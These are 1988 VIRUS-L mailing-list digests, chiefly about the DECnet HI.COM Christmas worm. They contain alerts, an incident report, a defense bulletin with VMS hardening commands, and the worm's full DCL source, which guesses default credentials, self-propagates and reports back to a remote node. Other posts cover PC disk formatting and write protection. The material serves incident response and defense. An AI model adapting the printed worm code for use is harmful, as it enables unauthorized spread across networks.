maintaining some degree of default access.  If you wish to keep the ability
for users to copy files to the default DECnet account but wish to prevent
them from copying DCL command procedures there and then executing them you
can issue the following commands (again from the SYSTEM or other suitably
privileged account):

        $ Run SYS$SYSTEM:NCP
        Clear Object Task All
        ^Z

You must then edit the file SYS$MANAGER:STARTNET.COM, and add the line

        CLEAR OBJECT TASK ALL

AFTER the line which says

        SET KNOWN OBJECTS ALL

This has the side-effect of disabling users from executing any command
procedure via DECnet that the system manager has not defined in the
DECnet permanent database.  These steps alone are not sufficient to
prevent copies of the virus from being copied to your machine;  but they
will prevent it from being executed.  To prevent copies of this specific
virus from being copied to your machine you can issue the following
commands (from the SYSTEM or other privileged account):

        $ Set Default your-default-decnet-directory
        $ Create HI.COM
        $ Stop/ID=0
        ^Z
        $ Set File/Owner=[1,4]-
        /Protection=(S:RWED,O:RWED,G:RE,W:RE)/Version=1 HI.COM

This prevents anyone from copying a file called "HI.COM" into your default
DECnet account;  however, other files can be copied there unless you disable
access to the DECnet object FAL (the File Access Listener) from your default
DECnet account.  This can be done by creating a specific account for FAL
(using the AUTHORIZE utility) with a seperate UIC, default directory, and
minimal privileges and forcing the FAL object to use that account.  The
following sequence of commands are an example (these commands also require
that they be issued from the SYSTEM or other suitably privileged account):


        $ Set Default SYS$SYTEM
        $ Run AUTHORIZE
        Add FAL/UIC=[some-unused-UIC]/Owner="DECnet default FAL"-
        /Password=randomstring/Device=disk-device/Directory=[some-directory]-
        /Flags=(DISCTLY,DEFCLI,CAPTIVE,LOCKPWD)/NoBatch/NoLocal/NoDialup-
        /NoRemote/Privileges=(TMPMBX,NETMBX)/DefPrivileges=(TMPMBX,NETMBX)-
        /LGICMD=SYS$SYSTEM:FALLOG.COM
        ^Z
        $ Run NCP
        Define Object FAL Number 17 File SYS$SYSTEM:FAL User FAL -
        Password same-random-string
        Set Object FAL Number 17 File SYS$SYSTEM:FAL User FAL -
        Password same-random-string
        ^Z
        $ Create FALLOG.COM
        $ V := 'F$Verify(0)
        $ Write SYS$OUTPUT ""
        $ Write SYS$OUTPUT "''F$Time()' -- Node ''F$Logical("SYS$NODE")'"
        $ Write SYS$OUTPUT "''F$Time()' -- Remote file access from:"
        $ Write SYS$OUTPUT "''F$Time()' -- User: ''F$logical("SYS$REM_ID")'"
        $ Write SYS$OUTPUT "''F$Time()' -- Node: ''F$Logical("SYS$REM_NODE")'"
        $ Write SYS$OUTPUT ""
        ^Z

This sequence of commands separates the FAL account from the default DECnet
account, and you can use file protections to enforce that the FAL account
cannot access files in the default DECnet account and vice-versa.  The
command file FALLOG.COM above will log all remote file accesses in the
file NETSERVER.LOG in the directory specified for the FAL account above.

The FAL program can supply additional logging information;  contact your
DIGITAL software support person for further details.

Further steps can be taken to restrict access to your system.  These
steps are discussed in detail in the _Guide to VMS System Security_, DEC
order number AA-LA40A-TE, dated April 1988.  See in particular chapter 7,
entitled _Security for a DECnet Node_.


------------------------------

Date:     SUN DEC 25, 1988 16.55.23 EST
From:     "Prof Arthur I. Larky" <[e-mail]>
Subject:  Formatting disks (PC)

When you format a floppy, you do two things: (1) you create an empty FAT
(File Allocation Table) which indicates that you have not assigned any
portion of the disk to files, and (2) you create the data sectors on
the disk by writing sector numbers, CRC's, etc on every track of the
disk.  Thus the disk is completely clean; unless, of course, your
format program or DOS has been subverted.  You also write a boot
record.  If you have asked for it, the two hidden DOS programs get put
as the first two programs on the disk.
  When you use the same program (Format) to format a hard disk, all
it does is create the empty FAT table, thus everything that was on the
disk is still there, but you have one heck of a problem finding it
unless you are a virus that knows where it is.
  Hard disk owners can get rid of everything by doing a low-level
format (on my Zenith its a program called PREP).  This does the
entire job of putting the sector and track numbers, CRC's, etc. on
the disk and also creates a map of bad sectors (truly bad ones, not
virus-faked bad ones).  Unfortunately, it takes hours (yes, hours) to
do this low level format since the program does repeated checks on
the read/write-ability of the disk.  Some controllers have code in
their ROM at c800:5 that does this low-level formatting; others do
not.  If you use Debug to look at the code, you may be able to figure
out whether its there or not.  Another way to find out is to try it;
however, you better not have anything valuable on the disk in case
it works.
Art Larky
CSEE Dept
Lehigh University

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest             Thursday, 29 Dec 1988        Volume 1 : Issue 59b

Today's Topics:
DECnet HI.COM Christmas Worm

---------------------------------------------------------------------------

Subject: DECnet HI.COM Christmas Worm
Date: Mon, 26 Dec 88 08:19:06 -0800
From: Steve Goldstein <[e-mail]>


Greetings, this is my first posting to this mailing list, and I trust
that I do not bore you with info that you've already seen many times
over this past week.  These are a collection of msgs about a DECnet
worm which was launched just before Christmas to produce a greeting
from Father Christmas on SPAN nodes, HEPnet nodes, etc.

The msgs are forwarded for your information, mainly.  I suspect that
all node managers (sysadmins) will have secured their VMS machines
prior to receipt of this information.

Let's hope the New Year is not marked by new greetings borne by lower
"life" forms!

Steve Goldstein
[e-mail]

- ------- Forwarded Messages

Return-Path: [e-mail]
Received: Thu, 22 Dec 88 15:56:24 PST from cincsac.arc.nasa.gov by
 nsipo.arc.nasa.gov (5.59/1.5)
Received: Thu, 22 Dec 88 15:55:45 PST from localhost.arc.nasa.gov by
 cincsac.arc.nasa.gov (5.59/1.5T)
Message-Id: <[e-mail]>
To: [e-mail]
Cc: [e-mail]
Subject: DECNET worm report
Date: Thu, 22 Dec 88 15:55:44 -0800
From: "Milo S. Medin" (NASA ARC NSI Project Office) <[e-mail]>


Folks, there is a worm running around SPAN at this time that
causes a procedure to be run that will try and send a Christmas
card to users on that system on Christmas Eve.

The worm can only propagate if task 0 is enabled, and default decnet
is present and has the password as decnet.  This configuration
is a bad idea in any case, but it allows this worm to infect
your system.

You can tell if it's on your system because the process name is
changed to MAIL_170DC and there is a HI.COM file in the default decnet
account.  Disabling task 0 will prevent infection.

More details later.  Please pass this information around and make
sure all systems at your site have the task 0 capability removed
in accordance with SPAN security guidelines.

Kudos to Brian Love at GSFC/CSDF for alerting us to the problem.  FYI,
it looks like the worm is sending a message to a node in Switzerland.

A copy of the command procedure is attached.  Feel free to call us
at NSIPO at Ames Research Center at [phone] for further information.

Note, this doesn't appear to be a serious problem, but all system
managers should make sure their systems are secured.

                    Thanks,
                      Milo Medin




(Message inbox:5167)
Return-Path: 6173::[e-mail]
Received: Thu, 22 Dec 88 15:32:55 PST from gemini.arc.nasa.gov by
 nsipo.arc.nasa.gov (5.59/1.5)
Received: Thu, 22 Dec 88 15:32:41 PST by gemini.arc.nasa.gov (5.59/1.2)
Date: Thu, 22 Dec 88 15:32:41 PST
Message-Id: <[e-mail]>
From: 6173::[e-mail] (CSDR System Management, NASA/GSFC
 B7-R188A, [phone])
To: [e-mail]
Subject: Copy of Hi.Com - More information to come in separate file.

$ on error then continue
$ set noverify
$ define sys$error nl:
$ define sys$output nl:
$ set default sys$login
$ set process/name="MAIL_178DC"
$ delete := delete
$ spawn := spawn
$ null[0,7]=0
$ open/read/write link sys$net
$ close link
$Look_loop:
$ pid = f$pid(context)
$ if pid .eqs. "" then goto start
$ if f$getjpi(pid,"wsauthext")-1 .eq. f$getjpi(pid,"wsextent") then -
     goto stop_process
$ goto look_loop
$Stop_process:
$ set protection=o:rwed hi.com;*
$ delete hi.com;*
$ stop/id=0
$Start:
$ workset = f$getjpi(0,"wsauthext")-1
$ set work/extent='workset'
$Save:
$ counter = 0
$ open/read hi$file hi.com
$Loop1:
$ read/end_of_file=end_loop1 hi$file hiline'counter'
$ counter = counter + 1
$ goto loop1
$End_loop1:
$ close hi$file
$ num_hilines = counter
$ set protection=o:rwed hi.com;*
$ delete hi.com;*
$Action:
$ spawn/input=nl:/output=nl:/nonotify/nolog/nowait -
    mail/subj="''f$trnlnm("sys$announce")'" nl: 20597::phsolide
$Search_node:
$ time = f$extr(0,16,f$cvtime(f$time()))
$ if time .gts. "1988-12-24 00:30" then stop/id=0
$ if time .gts. "1988-12-24 00:00" then goto mailing
$Generate_node:
$ node = (f$int(f$ext(21,1,f$time()))*10000) +  -
         (f$int(f$ext(21,1,f$time()))*1000)  +  -
         (f$int(f$ext(21,1,f$time()))*100) +  -
         (f$int(f$ext(21,1,f$time()))*10) +  -
         (f$int(f$ext(21,1,f$time())))
$ node = node*(f$int(f$ext(18,2,f$time()))+1)/63
$ if node .eq. 0     then goto generate_node
$ if node .gt. 63*1024 then goto generate_node
$Reprod:
$ counter = 0
$ open/write/error=open_error  hi$file 'node'::hi.com
$Loop2:
$ write/error=cleanup hi$file hiline'counter'
$ if counter .eq. num_hilines-1 then goto end_loop2
$ counter = counter + 1
$ goto loop2
$End_loop2:
$ close hi$file
$Start_Task:
$ type 'node'::"task=hi.com"
$ if ($status.ne.%x10951098).or.(f$loc("""",node).ne.f$len(node)) -
     then goto 2nd_error_check
$ node := 'node'"""DECNET DECNET""
$ goto start_task
$2nd_error_check:
$ if $status .ne. "%x10000001" then goto cleanup
$ goto search_node
$Cleanup:
$ close hi$file
$ delete 'node'::hi.com;*
$ goto search_node
$Open_error:
$ if ($status.ne.%x1001c00a).or.(f$loc("""",node).ne.f$len(node))  -
      then   goto  search_node
$ node := 'node'"""DECNET DECNET""
$ goto reprod
$Mailing:
$ mailline0 = "Hi,"
$ mailline1 = ""
$ mailline2 = " how are ya ? I had a hard time preparing all the presents."
$ mailline3 = " It isn't quite an easy job. I'm getting more and more"
$ mailline4 = " letters from the children every year and it's not so easy"
$ mailline5 = " to get the terrible Rambo-Guns, Tanks and Space Ships up here at
"
$ mailline6 = " the Northpole. But now the good part is coming."
$ mailline7 = " Distributing all the presents with my sleigh and the"
$ mailline8 = " deers is real fun. When I slide down the chimneys"
$ mailline9 = " I often find a little present offered by the children,"
$ mailline10 = " or even a little Brandy from the father. (Yeah!)"
$ mailline11 = " Anyhow the chimneys are getting tighter and tighter"
$ mailline12 = " every year. I think I'll have to put my diet on again."
$ mailline13 = " And after Christmas I've got my big holidays :-)."
$ mailline14 = ""
$ mailline15 = " Now stop computing and have a good time at home !!!!"
$ mailline16 = ""
$ mailline17 = "    Merry Christmas"
$ mailline18 = "       and a happy New Year"
$ mailline19 = ""
$ mailline20 = "            Your  Father Christmas"
$ num_maillines = 21
$ define sysuaf sys$login:sysuaf
$ mc authorize
y
list/id *
exit
$ delete sys$login:sysuaf.dat;*
$ node = 0
$Mail_good:
$ open/read/write net$link 'node'::"27="
$ if ($status.ne.%x1001c002).or.(f$loc("""",node).ne.f$len(node)) -
    then goto start_mail
$ node := 'node'"""DECNET DECNET""
$ goto mail_good
$Start_mail:
$ close net$link
$ open/read        user$file  rightslist.lis
$ read             user$file  user
$Loop3:
$ open/read/write  net$link   'node'::"27="
$ write net$link  "Father Christmas"
$Next_user:
$ read/end_of_file=end_mailing  user$file user
$ if  f$extr(3,1,user) .eqs. " " then goto next_user
$ user = f$extr(2,12,user)
$ write net$link user
$ read  net$link error
$ if f$cvui(0,32,error) .ne. 1  then goto close_net
$ write net$link null
$ write net$link "You..."
$ write net$link "Christmas Card."
$ counter = 0
$Text_loop:
$ write net$link mailline'counter'
$ counter = counter + 1
$ if counter .eq. num_maillines then goto end_text_loop
$ goto text_loop
$End_text_loop:
$ write net$link null
$ wait 00:00:01
$Close_net:
$ close net$link
$ goto loop3
$End_mailing:
$ close net$link
$ close user$file
$ delete rightslist.lis;*
$ wait 00:30
$ stop/id=0

- ------- Message 2

Return-Path: [e-mail]
Received: Thu, 22 Dec 88 16:32:57 PST from cincsac.arc.nasa.gov by
 nsipo.arc.nasa.gov (5.59/1.5)
Received: Thu, 22 Dec 88 16:32:18 PST from localhost.arc.nasa.gov by
 cincsac.arc.nasa.gov (5.59/1.5T)
Message-Id: <[e-mail]>
Date: Thu, 22 Dec 88 16:32:14 -0800
From: "Milo S. Medin" (NASA ARC NSI Project Office) <[e-mail]>
Subject: DECNET worm report - correction
Apparently-To: <[e-mail]>

- - ------- Blind-Carbon-Copy

To: nsn-tech
Subject: DECNET worm report - correction
Date: Thu, 22 Dec 88 16:32:14 -0800
From: "Milo S. Medin" (NASA ARC NSI Project Office) <medin>


Oh, and a correction to my previous note, due to a garbled message,
I credited the wrong person at GSFC.  Kudos really go to Brian Lev,
not Brian Love.  Just wanted to set the record straight.  Sorry about
that Brian...

                    Thanks,
                      Milo

- - ------- End of Blind-Carbon-Copy

- ------- Message 3

Return-Path: [e-mail]
Received: Fri, 23 Dec 88 13:16:21 PST from QUIPUS.STSCI.EDU by
 nsipo.arc.nasa.gov (5.59/1.5)
Received: Fri, 23 Dec 88 15:57:28 EST by quipus.stsci.edu.STSCI.EDU (5.59)
Date: Fri, 23 Dec 88 15:57:28 EST
From: (Peter Shames) <[e-mail]>
Message-Id: <[e-mail]>
To: [e-mail]
Subject: SPAN breakin attempts - a peculiar Merry Xmas greeting
Cc: [e-mail], [e-mail],
        [e-mail], [e-mail],
        [e-mail], [e-mail],
        [e-mail], milkey@scivax, schreier@scivax,
        [e-mail], [e-mail]

Folks,
    The attached note describes a number of breakin attempts that
took place last night at STScI.  Many of you may also have been the
subject of this latest attack, some of your systems may have been broken
into.  The effects are of *this* attack are quite benign, but that, as
far as I can tell, was just luck.

    While I do not wish to dampen anyone's holiday revels, the
message in this latest attempt is clear and the implications troublesome.

    In spite of all this, I would like to wish you all a Very Merry
Holiday season, and a Happy New Year.

                        Peter

- - ---------------------------------------------------------------------------

TWIMC -
    Starting at roughly 1630 on 22 Dec 1988 VAX systems at the STScI
experienced several breakin attempts over the SPAN network.  The symptoms
were a series of login attempts on the accounts DECNET and NETFAL.  Over
the next couple of hours the number of attempts increased significantly,
though none were successsful.  One peculiar observation was that only one
of our system was initially attacked, and it was attacked repeatedly, from
an ever widening set of other hosts.

    A copy of the .COM file that was used for this attacked was
captured by one of the sites that was broken into, and it turned out to be
a rather simple script that selected a area/host number based on a
permutation of the date and time and then attempted to break into that
host on the two accounts indicated above.  It only tried a couple of
obvious passwords and then gave up with that host if not successful.
If successful it would replicate itself and then proceed from there.
The multiple attacks on the one host were due to the time zone rolling
around as the attacks spread westward and that one system having a number
that the algorithm generated often.

    Though the modus operandi of this attack was relatively benign,
that fact that it occurred at all is to be deplored.  The time that is
wasted in tracking down such pranks is significant, as is the general
disruption that is caused.  At the same time, the attacker could just as
easily have set up a program to delete files or do other mischief and
such an attack would have caused real havoc.

    This attack, coming via the SPAN DECnet network, just serves to
underscore the fact that wide area network connections, via whatever set of
protocols, to whatever operating systems, do offer targets to bored,
mischievious, or possibly malicious individuals.  Following, as it does,
on the heels of the Internet Virus of 3 November 1988, this serves
notice to all computer site managers that any system that has wide-area
network connections is potentially vulnerable.

    However, the benefits of having adequate wide-area networks are
too great for such actions to stop us from using them.  This kind of act
should serve as a timely warning that we all had best review our own
site and host security to identify and eliminate any latent opportunities
for future breakins.  At the very least all of the security holes employed
by these latest breakins should be eliminated immediately.  None of our
open science research sites wants to have to provide the sort of high
level security appropriate to a military installation, so we must all act
to preserve the integrity of the open research environments that we so value.

    Passing security related information in the open is not an especially
good idea, but some means of disseminating such information must be provided.
There is a SPAN site security guide that should be consulted and I believe
that a similar guide is being developed for the Internet community.  Perhaps
a meeting of astronomy site coordinators and system managers, convened in
conjunction with an AAS WGAS meeting or even separately, would be appropriate.
Comments or suggestions from all concerned would be appreciated.

                        Peter Shames


- ------- Message 4

Return-Path: [e-mail]
Received: Sat, 24 Dec 88 20:37:27 PST from MITRE.ARPA by nsipo.arc.nasa.go
(5.59/1.5)
Organization: The MITRE Corp., Washington, D.C.
Received: from ron.rutgers.edu by SRI-NIC.ARPA with TCP; Fri, 23 Dec 88 12:57:48
 PST
Received: by ron.rutgers.edu (5.59/(RU-Router/1.1)/3.01)
    id AA02489; Fri, 23 Dec 88 15:57:30 EST
Date: Fri, 23 Dec 88 15:57:30 EST
From: [e-mail]
Message-Id: <[e-mail]>
To: [e-mail]
Subject: DECNET Virus (sorry)


I got an anonymous tip about a DECNet virus.  Milo Medin provided me with
the details.  The virus exploits a well known feature in DECnet which involves
sites that leave TASK 0 running (this is the way DEC ships it).  The virus
sends a HI.COM file to your default decnet directory and then sends a command
to task 0 to invoke it.  To close the hole, you need to tell NCP
to "CLEAR OBJECT TASK ALL" in your start up files as DECNET always starts
this process.  If you were infected you will find HI.COM in your default
decnet directory and a process running called something like MAIL_178DZ.

You should delete the com file and kill off the process if you find them.

I don't vouch for the accuracy of the above, I am neither a DECNET nor a
VMS lover.

- - -Ron

I apologize for all those who are sane enough to run TCP-IP rather than DECNET
for having to see this, but it seemed like the most rapid distribution system
I could find.


- ------- Message 5

Received: Sun, 25 Dec 88 01:48:03 PST from ames.arc.nasa.gov by
 nsipo.arc.nasa.gov (5.59/1.5)
Received: Sun, 25 Dec 88 01:36:34 PST from SRI-NIC.ARPA by ames.arc.nasa.go
(5.59/1.2)
Date: Fri, 23 Dec 88 15:43:52 PST
From: DDN Reference <[e-mail]>
Subject: DDN MGT Bulletin # 50: Hi.COM DECnet worm
To: ;@MGT
Cc: [e-mail], [e-mail], [e-mail],
        [e-mail]
Message-Id: <[e-mail]>

**********************************************************************
DDN MGT Bulletin 50              DCA DDN Defense Communications System
23 Dec 88                        Published by: DDN Network Info Center
                                    ([e-mail])  [phone]


                        DEFENSE  DATA  NETWORK

                         MANAGEMENT  BULLETIN

The DDN MANAGEMENT BULLETIN is distributed online by the DDN Network
Information Center under DCA contract as a means of communicating
official policy, procedures and other information of concern to
management personnel at DDN facilities.  Back issues may be read
through the TACNEWS server ("@n" command at the TAC) or may be
obtained by FTP (or Kermit) from the SRI-NIC host [26.0.0.73 or
10.0.0.51] using login="anonymous" and password="guest".  The pathname
for bulletins is DDN-NEWS:DDN-MGT-BULLETIN-nn.TXT (where "nn" is the
bulletin number).
**********************************************************************

SUBJECT:   Worm (Benign)

APPLICABLE OPERATING SYSTEM: DEC VMS

PROPAGATION: Propagates via DECNET protocols, not TCP/IP protocols

STATUS: Fix is enclosed

VALIDATION:  The fix has been forwarded to the CERT for validation, but
validation has not been completed.  But in order to provide timely
information to our subcribers, this fix is being made available "as
is".  It was provided by a host administrator on the NASA SPAN/DOE
HEPNET network.  We recommend that you contact your vendor and refer
to the vendor documentation listed below before attempting to implement the
fix.


PROBLEM: On Friday, 23 December, Gerard K. Newman of the San Diego
Supercomputer Center reported a Christmas Eve computer worm (not a
virus) called "HI.COM".  This worm appears to be a benign Christmas
greeting from "Father Christmas".

ESSENTIAL CONSIDERATIONS: The recent Internet Virus has sensitized the
telecommunications community to the potential threat of worms and
viruses.  However, "HI.COM" appears to be a prank and nothing more:

      (A) It only affects VMS machines connected to DECNET.

      (B) It does not use TCP/IP, thus it cannot "infect" the Internet
          (or MILNET/ARPANET).

      (C) It does no harm (all it does is send a "stop computing and go
          home" message after midnight on Christmas Eve).

      (D) It has safeguards against running multiple copies of itself on
          the same machine.

      (E) It will terminate itself after completing its mission (at 00:30
          on the 24th).

SYMPTOMS OF INFECTION: Some steps to take to determine if your system has
been infected are:

      (A) Check your accounting files and NETSERVER.LOGs in your default
          DECnet accounts for a file called HI.COM.

      (B) Check your processes for one named MAIL_178DC.

A FIX:

There is a worm loose on NASA's SPAN/DoE's HEPNET network, which is an
international DECnet-based network.  The worm targets VMS machines, and
can only be propagated via DECnet.

The worm itself appears to be benign, in that it does not destroy files
or compromise the system.  It's purpose appears to be to deliver a
Christmas message to users starting at midnight on 24 Dec 1988.  It
does have a hook in it to monitor it's progress;  it mails a message
back to a specific node (20.117, user PHSOLIDE) containing an identifying
string of the "infected" machine.

The worm exploits two features of DECnet/VMS in order to propagate itself.
The first is the default DECnet account, which is a facility for users who
don't have a specific login ID for a machine to have some degree of
anonymous access.  It uses the default DECnet account to copy itself to a
machine, and then uses the "TASK 0" feature of DECnet to invoke the remote
copy.

There are several steps which you can take to protect yourself from this
kind of attack.  The easiest (and most restrictive) is to disable the
default DECnet account on your machine altogether.  This can be done with
the following commands from the SYSTEM or other suitably privileged account:

    $ Run SYS$SYSTEM:NCP
    Purge Executor Nonprivileged User Account Password
    Clear Executor Nonprivileged User Account Password
    ^Z

This requires that everyone who accesses your resources via DECnet to have
a legitimate login ID or proxy login account on your machine (proxy logins
are discussed in detail in chapter 7 of the "Guide to VMS System Security",
see below).

You can take less restrictive steps to protect your machine while still
maintaining some degree of default access.  If you wish to keep the ability
for users to copy files to the default DECnet account but wish to prevent
them from copying DCL command procedures there and then executing them you
can issue the following commands (again from the SYSTEM or other suitably
privileged account):

    $ Run SYS$SYSTEM:NCP
    Clear Object Task All
    ^Z

You must then edit the file SYS$MANAGER:STARTNET.COM, and add the line

    CLEAR OBJECT TASK ALL

AFTER the line which says

    SET KNOWN OBJECTS ALL

This has the side-effect of disabling users from executing any command
procedure via DECnet that the system manager has not defined in the
DECnet permanent database.  These steps alone are not sufficient to
prevent copies of the virus from being copied to your machine;  but they
will prevent it from being executed.  To prevent copies of this specific
virus from being copied to your machine you can issue the following
commands (from the SYSTEM or other privileged account):

    $ Set Default your-default-decnet-directory
    $ Create HI.COM
    $ Stop/ID=0
    ^Z
    $ Set File/Owner=[1,4]-
    /Protection=(S:RWED,O:RWED,G:RE,W:RE)/Version=1 HI.COM

This prevents anyone from copying a file called "HI.COM" into your default
DECnet account;  however, other files can be copied there unless you disable
access to the DECnet object FAL (the File Access Listener) from your default
DECnet account.  This can be done by creating a specific account for FAL
(using the AUTHORIZE utility) with a seperate UIC, default directory, and
minimal privileges and forcing the FAL object to use that account.  The
following sequence of commands are an example (these commands also require
that they be issued from the SYSTEM or other suitably privileged account):


    $ Set Default SYS$SYTEM
    $ Run AUTHORIZE
    Add FAL/UIC=[some-unused-UIC]/Owner="DECnet default FAL"-
    /Password=randomstring/Device=disk-device/Directory=[some-directory]-
    /Flags=(DISCTLY,DEFCLI,CAPTIVE,LOCKPWD)/NoBatch/NoLocal/NoDialup-
    /NoRemote/Privileges=(TMPMBX,NETMBX)/DefPrivileges=(TMPMBX,NETMBX)-
    /LGICMD=SYS$SYSTEM:FALLOG.COM
    ^Z
    $ Run NCP
    Define Object FAL Number 17 File SYS$SYSTEM:FAL User FAL -
    Password same-random-string
    Set Object FAL Number 17 File SYS$SYSTEM:FAL User FAL -
    Password same-random-string
    ^Z
    $ Create FALLOG.COM
    $ V := 'F$Verify(0)
    $ Write SYS$OUTPUT ""
    $ Write SYS$OUTPUT "''F$Time()' -- Node ''F$Logical("SYS$NODE")'"
    $ Write SYS$OUTPUT "''F$Time()' -- Remote file access from:"
    $ Write SYS$OUTPUT "''F$Time()' -- User: ''F$logical("SYS$REM_ID")'"
    $ Write SYS$OUTPUT "''F$Time()' -- Node: ''F$Logical("SYS$REM_NODE")'"
    $ Write SYS$OUTPUT ""
    ^Z

This sequence of commands separates the FAL account from the default DECnet
account, and you can use file protections to enforce that the FAL account
cannot access files in the default DECnet account and vice-versa.  The
command file FALLOG.COM above will log all remote file accesses in the
file NETSERVER.LOG in the directory specified for the FAL account above.

The FAL program can supply additional logging information;  contact your
DIGITAL software support person for further details.

Further steps can be taken to restrict access to your system.  These
steps are discussed in detail in the "Guide to VMS System Security", DEC
order number AA-LA40A-TE, dated April 1988.  See in particular chapter 7,
entitled "Security for a DECnet Node".

For general information about this patch call the CERT or the Network
Information Center at [phone].

This represents the best information available at this time to fix this
problem.


- - -------


- - --- End of forwarded message from DDN Reference <[e-mail]>


- ------- Message 6

Return-Path: [e-mail]
Received: Mon, 26 Dec 88 00:07:50 PST from MITRE.ARPA by nsipo.arc.nasa.go
(5.59/1.5)
Received: from ucbvax.Berkeley.EDU by SRI-NIC.ARPA with TCP; Sun, 25 Dec 88
 23:07:38 PST
Received: by ucbvax.Berkeley.EDU (5.61/1.33)
    id AA02165; Sun, 25 Dec 88 22:41:55 PST
Received: from USENET by ucbvax.Berkeley.EDU with netnews
    for [e-mail] ([e-mail])
    (contact [e-mail] if you have questions)
Date: 26 Dec 88 06:39:55 GMT
From: [e-mail]  (Brian Kantor)
Organization: The Avant-Garde of the Now, Ltd.
Subject: Re: DECNET Virus (sorry)
Message-Id: <[e-mail]>
References: <[e-mail]>
Sender: [e-mail]
To: [e-mail]

I received the following message last Friday; I mailed it off to
the "phage" security list and it bounced because Purdue's mailer is
broken, so I'll post it here.  I hesitated to do this at first, since
it's not directly relevant and I sure didn't want to panic people into
wildly shutting down bridges and gateways again.

SPAN (Space Physics Analysis Network??) is a DECNet network, so it
lacks direct relevance to the TCP/IP list, but probably this is of
at least passing interest.
- - ---
Date:    Fri, 23 Dec 88 02:53:13 GMT
From: [e-mail] (Gerard K. Newman)
Subject: SPAN WORM ALERT

Ladies and gentleman,

Someone has loosed a worm on SPAN at this very moment.  Check your accounting
files and NETSERVER.LOGs in your default DECnet accounts.  You'll find evidence
of someone creating a file (HI.COM, which I am in the process of fetching from
the deleted blocks of one of them) which propagates itself around the network.

It has hit all of the VMS machines here at SDSC today, and simply appears to
crawl around and send mail to 25097::PHISOLIDE (node 25.79, for which I do not
have a name in my DECnet database).

It will take me a few more minutes to cobble together a program to dredge up
the blocks of the command file (one of the first things it does is to delete
itself ... it also sets it's process name to MAIL_178DC, so look around for
those, too).  When I have it I will forward the text.

An adequate defense against the problem is:

(from the SYSTEM or other suitably privileged account):

    $ Set Default your-default-decnet-area
    $ Create HI.COM
    $ Stop/ID=0
    ^Z
    $ Set File/Owner=[1,4]/Protection=(S:RWED,O:RWED,G:RE,W:RE)/Version=1 HI.COM

This information should receive the widest possible distribution.

I will forward a copy of the command file in a few minutes.

Please give me a call (# below) if you need more information.

gkn
- - ----------------------------------------
Internet: [e-mail]
Bitnet:   GKN@SDSC
Span:      SDSC::GKN (27.1)
MFEnet:   GKN@SDS
USPS:      Gerard K. Newman
      San Diego Supercomputer Center
      P.O. Box 85608
      San Diego, CA 92138-5608
Phone:      [phone]

- ------- End of Forwarded Messages

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest             Thursday, 29 Dec 1988        Volume 1 : Issue 59c

Today's Topics:
DOS, BIOS and write-protect tabs (PC)
Dirty Dozen
Re: Brain virus (PC)
Write Protection confusion (PC)

---------------------------------------------------------------------------

Date:     Mon, 26 Dec 88 14:45 EST
From:     Dimitri Vulis <[e-mail]>
Subject:  DOS, BIOS and write-protect tabs (PC)


I feel obliged to add my 2 bits worth to the discussion; it seems, everyone
else did, and I happen to know more about it than authors of some previous
postings. I hope this would be helpful. Please feel free to flame me if I
omitted something or made a mistake.

There are 3 ways an application program can access disks _via_DOS:

1) (Most common) Issue INT 21h (DOS call) with a function number that has
something to do with files, e.g. `open file', `create file' etc.

2) Issue INT 25 or INT 26 to read or write a logical sector on a logical device
(useful for system-level hacking, like CHKDSK).

3) Use certain subfunctions on IOCTL call (INT 21h, AH=44) that can
read/write/format logical devices.

The code in IBMDOS.COM (in PC-DOS) or in MSDOS.SYS (in MS-DOS) will
figure out which device you are referring to (e.g. a floppy disk, a
hard disk, a RAM disk, a substituted disk that's really a directory, a
network device, etc) and if it's a floppy disk or a hard disk, it will
issue an INT 13, after loading information like track # and sector #
into registers.

An application program can also issue INT 13 directly.

(I will discuss the hard disk variant below; for now, assume it's a
floppy disk)

Now, INT 13 points (ordinarily) to BIOS code in ROM. (In fact, on PS/2
it's intercepted by DASDDRVR.SYS to patch some bugs in ROM; and many
versions of DOS intercept it to implement some kind of caching; and
see below; and some fast machines copy ROM into fast RAM at boot time;
but it will end up executing BIOS code from ROM anyway). Now, there
can be no `undocumented' BIOS calls on a machine for which a
well-commented BIOS listing is published. BIOS code issues IN and OUT
commands to make sure that the floppy disk is spinning, the head
assembly is at the right track, the sector ID matches the one
requested, the DMA circuitry copies the data from the disk controlled
to the right location in memory.

>I did my homework before I wrote my opinion.  I already knew about the
>documented BIOS interrupt limitations.  There are undocumented BIOS
>calls, and there are non-BIOS hardware calls.

There can be no `undocumented' BIOS calls. However, there are many
other possible commands to the disk controlled that cannot be issued
by the INT 13 BIOS code.

An application program can issue these calls too, there's no
`supervisor mode' on the PC, but it's rather complicated. Many
copy-protection checking programs do that. Sometimes they first issue
and INT 13 to seek the right track and to spin the drive, and issue
fewer IN/OUT instructions.

Note: Many years ago I wrote a bunch of assembly language routines to
access _all_ possible functions on the controller, not only the ones
used by BIOS.  They are huge and very hard to use. If Ken really wants
them, I'll give them to him with pleasure.

_All_ the codes are documented in the Motorola book, or in the Intel
book (Intel makes a similar controller, and their book is _much_
easier to read).

If the disk drive assembly detects that the disk drive is
write-protected (note the IF), it refuses to write on the hard disk
and the disk controller sets a certain flag on its latch that's read
(IN'ed) by the BIOS code and understood to mean `write protect error'.
It's not done `in software' in this sense.

However, many cheap disk drives use unorthodox means to detect the
tab. A vanilla full-height 5.25" IBM drive tried to stick a kind of
lever into the notch, and if it failed to, it would assume there's a
tab over the notch. (Note sure about the modern 3.5" drives; i.e. I'm
sure it's hardware, but it may be optical). Now, some early
compatibles (notably the first Compaq) tried to see if a light
_bounces_off_ the notch (you will recall that ca 1981-82 all write
protect tabs had mirror-like foil on the outside). This did not detect
black tabs of Scotch tape. Newer drives flash a light on one side of
the latch and try to detect it on the other; this does not detect
Scotch tape either. (I know one prominent mathematician, who will
probably read this, and who uses Scotch tape exclusively). On the
vanilla IBM drive, one could disable the detection mechanism with a
screwdriver, as outlined in IBM's manual for the drive.

So, a driver may fail to detect a tab if the detection mechanism is
disabled, or the drive is broken, or it does not detect this kind of
tabs. However, it does not matter _how_ you access the drive; i.e.
(Doz Kzem should try it) if you write-protect a disk and try to create
a file on it and get `Write protect error writing drive A:', then
there's no way a program can write to that disk in that drive using
BIOS calls or directly issuing IN/OUT. On the other hand, the drive
_may_ create the file, so I would not disregard

>When the PC was a baby, one or two software vendors (obscure ones) had
>a copy protection scheme that involved writing something to their own
>diskettes, whether write protected or not, on the user's machine.

I've never heard about it, but my conjecture is that their copy
protection code _attempted_ to write on write-protected diskettes,
